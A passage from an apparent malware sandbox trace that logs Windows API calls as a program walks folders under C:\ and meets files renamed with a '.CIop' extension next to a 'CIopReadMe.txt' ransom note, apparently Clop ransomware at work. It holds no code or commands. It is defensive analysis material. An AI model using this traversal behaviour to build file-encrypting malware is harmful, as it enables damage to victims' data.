lpString2="..") returned 1 [0169.091] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0169.091] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.091] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.091] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0169.091] SetErrorMode (uMode=0x1) returned 0x1 [0169.091] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0169.091] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0169.091] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0169.091] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0169.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.092] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0169.092] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0169.092] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.092] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0169.092] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0169.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.092] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0169.092] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0169.092] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.092] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.093] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0169.093] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0169.093] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.093] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.093] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0169.093] SetErrorMode (uMode=0x1) returned 0x1 [0169.093] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0169.093] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0169.093] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0169.093] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0169.093] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.093] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0169.093] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0169.094] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.094] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0169.094] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0169.094] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.094] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0169.094] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0169.094] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.094] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.094] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0169.094] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0169.095] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.095] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.095] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0169.095] SetErrorMode (uMode=0x1) returned 0x1 [0169.095] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0169.095] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0169.095] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0169.095] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0169.095] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.095] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0169.095] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0169.095] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.096] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.096] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.096] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.096] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.096] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0169.096] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0169.096] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.096] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0169.096] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0169.097] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.097] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.097] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0169.097] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0169.097] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0169.097] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0169.097] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0169.097] SetErrorMode (uMode=0x1) returned 0x1 [0169.097] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0169.097] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0169.097] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0169.097] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0169.097] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0169.097] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0169.097] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0169.097] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.098] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.098] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0169.098] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0169.098] lstrlenW (lpString=".CIop") returned 5 [0169.098] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.098] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.098] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.098] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.098] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.098] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0169.098] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0169.098] lstrlenW (lpString=".CIop") returned 5 [0169.098] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.098] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0169.098] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0169.098] lstrlenW (lpString=".CIop") returned 5 [0169.098] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0169.098] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.098] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0169.099] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0169.099] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0169.099] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0169.099] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0169.099] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.099] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.099] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0169.099] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.100] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0169.100] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.100] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.100] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.100] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.100] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.100] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0169.100] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0169.100] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.100] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.100] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0169.100] SetErrorMode (uMode=0x1) returned 0x1 [0169.101] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0169.101] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0169.101] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0169.101] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0169.101] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0169.101] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0169.101] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0169.101] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.101] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0169.101] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0169.101] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0169.101] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0169.101] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0169.101] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.101] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.101] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0169.101] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0169.101] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.101] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.101] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.102] SetErrorMode (uMode=0x1) returned 0x1 [0169.102] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.102] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0169.102] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0169.102] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0169.102] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.102] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0169.102] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.102] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.102] lstrlenW (lpString="desktop.ini") returned 11 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.102] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.102] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.103] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.103] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0169.103] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0169.103] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0169.103] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0169.103] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.103] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.103] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0169.103] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0169.103] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.103] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0169.103] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0169.103] SetErrorMode (uMode=0x1) returned 0x1 [0169.103] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0169.103] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0169.103] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0169.104] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0169.104] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0169.104] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0169.104] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0169.104] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.104] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0169.104] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0169.104] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e378 [0169.104] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0169.104] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0169.104] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.104] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.104] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0169.104] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0169.104] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.104] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0169.105] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.105] SetErrorMode (uMode=0x1) returned 0x1 [0169.105] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.105] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0169.105] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0169.105] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0169.105] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0169.106] lstrcmpW 